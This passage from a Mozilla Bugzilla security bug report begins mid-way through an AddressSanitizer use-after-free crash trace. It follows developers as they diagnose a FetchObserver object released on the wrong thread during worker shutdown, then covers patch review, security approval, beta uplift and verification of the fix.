    #32 0x7f61cfa23851 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/thecoder/OpenSrc/firefox/ipc/glue/MessagePump.cpp:97:21
    #33 0x7f61cf8f5975 in RunInternal /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:326:3
    #34 0x7f61cf8f5975 in RunHandler /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:319
    #35 0x7f61cf8f5975 in MessageLoop::Run() /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:299
    #36 0x7f61d5ee6fdf in nsBaseAppShell::Run() /home/thecoder/OpenSrc/firefox/widget/nsBaseAppShell.cpp:159:3
    #37 0x7f61dac98977 in XRE_RunAppShell() /home/thecoder/OpenSrc/firefox/toolkit/xre/nsEmbedFunctions.cpp:877:12
    #38 0x7f61cf8f5975 in RunInternal /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:326:3
    #39 0x7f61cf8f5975 in RunHandler /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:319
    #40 0x7f61cf8f5975 in MessageLoop::Run() /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:299
    #41 0x7f61dac97e26 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/thecoder/OpenSrc/firefox/toolkit/xre/nsEmbedFunctions.cpp:703:7
    #42 0x4fd78a in content_process_main /home/thecoder/OpenSrc/firefox/browser/app/../../ipc/contentproc/plugin-container.cpp:63:19
    #43 0x4fd78a in main /home/thecoder/OpenSrc/firefox/browser/app/nsBrowserApp.cpp:280
    #44 0x7f61ed10f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-use-after-free /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/include/js/HeapAPI.h:344:12 in GetGCThingZone
Shadow bytes around the buggy address:
  0x0fecb77ffdb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fecb77ffdc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fecb77ffdd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fecb77ffde0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fecb77ffdf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0fecb77ffe00: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fecb77ffe10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fecb77ffe20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fecb77ffe30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fecb77ffe40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fecb77ffe50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==7813==ABORTING

###!!! [Parent][MessageChannel] Error: (msgtype=0x490017,name=PHttpChannel::Msg_DeleteSelf) Channel error: cannot send/recv


###!!! [Parent][MessageChannel] Error: (msgtype=0x490017,name=PHttpChannel::Msg_DeleteSelf) Channel error: cannot send/recv
Flags: sec-bounty?
Group: core-security → dom-core-security
This is crashing on the main thread.  Moving it to DOM proper for now as its unclear if its worker specific.
Component: DOM: Workers → DOM
Andrew, it looks like this is crashing during CC in DETH::CanSkipReal().  Does this make any sense to you?
Flags: needinfo?(continuation)
The use makes it looks like there's a DETH in the purple buffer, but the free and allocation stack are for an internal CC data structure, from a worker thread. That suggests that either the purple buffer or the DETH it points to is being corrupted in some kind of way. The other report indicates that the crashing address is 4f4f4f4f, so maybe the worker CC happened to allocate memory at that address?

Apparently 4f4f4f4f is JS_FRESH_TENURED_PATTERN, which I think means that we're reading from uninitialized memory controlled by the JS GC. I don't know how a DETH would end up pointing into a JS chunk without ASan noticing. Again, unless the pointer itself is corrupted or uninitialized.
Flags: needinfo?(continuation)
It does seem very suspicious to me that the allocation stack for the internal CC data structure is also for a DETH (on the worker thread), but maybe that is a weird coincidence? I don't know how any code outside of the CC would even get access to one of the CC data structures.
Could we get into this situation if some cycle collectable object gets added to a CC macro on both the main and worker threads?
(In reply to Ben Kelly [:bkelly] from comment #6)
> Could we get into this situation if some cycle collectable object gets added
> to a CC macro on both the main and worker threads?

That would certainly cause problems sort of like this, but I still don't know how you'd end up getting a pointer to an internal data structure. FWIW, the allocation stack on the worker is for a WorkerGlobalScope reporting its EventListenerManager. I assume it makes sense for a worker global scope to have an ELM?
Yes. ELMs are used both in main thread and in workers. Anywhere you can have DOM events, you have also ELMs.
Keywords: csectype-uaf, sec-high
Hmmm, do we see any actions we could do to move this forward?
Priority: -- → P1
baku, smaug was thinking this might be worker-related. Can you please take a look?
Flags: needinfo?(amarchesini)
(Reporter)

Comment 11

a year ago
Is this bug scheduled as low priority?
Usually baku fixes security bugs promptly.
status-firefox59: --- → affected
tracking-firefox59: --- → +
(In reply to Looben Yang from comment #11)
> Is this bug scheduled as low priority?
> Usually baku fixes security bugs promptly.

I think it has just fallen between the cracks. I've emailed baku about it. We're almost at the end of year holiday, so it may not get fixed in 2017, but hopefully we'll fix it before the next release.
(Assignee)

Updated

a year ago
Assignee: nobody → amarchesini
Flags: needinfo?(amarchesini)
(Assignee)

Comment 13

a year ago
Having friend classes for un-thread-safe members makes harder to follow what uses what. Here a cleanup. The real fix is in the next patch.
Attachment #8938295 - Flags: review?(bugs)
(Assignee)

Comment 14

a year ago
The issue here is:

1. the worker is shutting down while the main-thread is processing the fetch.
2. At same point we check if the promiseProxy has been cleaned up. it is (because of the worker shutdown) and we complete the operation.
3. AbortSignal is released on the main-thread instead on the worker thread. This is the bug.

Here I introduce a workerHolder to release the objects when the worker goes away.
Attachment #8938297 - Flags: review?(bkelly)
(Assignee)

Updated

a year ago
Attachment #8938295 - Flags: review?(bugs) → review?(bkelly)
Attachment #8938295 - Flags: review?(bkelly) → review+
Attachment #8938297 - Flags: review?(bkelly) → review+
(Assignee)

Comment 15

a year ago
Comment on attachment 8938295 [details] [diff] [review]
part 1 - Remove all these friend classes...

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

This is use of a non-thread DOMEventTargetHelper on the wrong thread.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

No. the first patch is about removing friend classes, the second one introduces a WorkerHolder to know when nullify a pointer.

Which older supported branches are affected by this flaw?

m-i, m-b.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

Easy to generate it if needed.

How likely is this patch to cause regressions; how much testing does it need?

low. Just a workerHolder to nullify a pointer.
Attachment #8938295 - Flags: sec-approval?
(Assignee)

Updated

a year ago
Attachment #8938297 - Flags: sec-approval?
(In reply to Andrea Marchesini [:baku] from comment #15)
> Which older supported branches are affected by this flaw?
> 
> m-i, m-b.

Do you know what change might have introduced it? I see similar looking opt-build crashes with this testcase on 59, 58, and 57 (release, not mentioned in your answer but definitely supported!). Don't know if it goes back further than that but so far I've not crashed on ESR 52.5.
status-firefox57: --- → wontfix
status-firefox58: --- → affected
status-firefox-esr52: --- → ?
tracking-firefox58: --- → +
Flags: needinfo?(amarchesini)
Probably around bug 1378342 or bug 1394085.  This particular problem should only be in FF57+.
Attachment #8938295 - Flags: sec-approval? → sec-approval+
Comment on attachment 8938297 [details] [diff] [review]
part 2 - Release FetchObserver on the owning thread

sec-approval=dveditz
Attachment #8938297 - Flags: sec-approval? → sec-approval+
https://hg.mozilla.org/mozilla-central/rev/ea5bf2a0a2ee
https://hg.mozilla.org/mozilla-central/rev/8f282b3c3ad4
Status: NEW → RESOLVED
Last Resolved: a year ago
status-firefox59: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla59
Please request Beta approval on these patches when you get a chance. They graft cleanly as-landed.
status-firefox-esr52: ? → unaffected
(Assignee)

Comment 21

a year ago
> Do you know what change might have introduced it? 

This bug is related to FetchObserver. Bug 1341738, landed in FF55.
Flags: needinfo?(amarchesini)
(Assignee)

Comment 22

a year ago
Comment on attachment 8938295 [details] [diff] [review]
part 1 - Remove all these friend classes...

Approval Request Comment
[Feature/Bug causing the regression]: FetchObserver, bug 1341738
[User impact if declined]: a crash
[Is this code covered by automated tests?]: no
[Has the fix been verified in Nightly?]: we don't have crashes... but no particular verification for nightly.
[Needs manual test from QE? If yes, steps to reproduce]: there is an STR.
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: low
[Why is the change risky/not risky?]: these 2 patches use a WorkerHolder to know when FetchObserver must be released on the owning thread. It's low risk.
[String changes made/needed]: none
Attachment #8938295 - Flags: approval-mozilla-beta?
Comment on attachment 8938295 [details] [diff] [review]
part 1 - Remove all these friend classes...

Fix a sec-high. Beta58+.
Attachment #8938295 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
(Assignee)

Comment 26

a year ago
Posted file part 2 - m-b
Flags: needinfo?(amarchesini)
Flags: sec-bounty? → sec-bounty+
Whiteboard: [adv-main58+]
Alias: CVE-2018-5092
Flags: qe-verify+
Whiteboard: [adv-main58+] → [adv-main58+][post-critsmash-triage]
I have managed to reproduce the issue described in comment 0 using Firefox 59.0a1 (BuildId:20171116100106).

This issue is no longer reproducible using Firefox 58.0 (BuildId:20180118215408) and Firefox 59.0a1 (BuildId:20180118220148) on Windows 10 64bit.
Status: RESOLVED → VERIFIED
status-firefox58: fixed → verified
status-firefox59: fixed → verified
Flags: qe-verify+
Group: dom-core-security → core-security-release
Group: core-security-release
Component: DOM → DOM: Core & HTML
Product: Core → Core
You need to log in before you can comment on or make changes to this bug.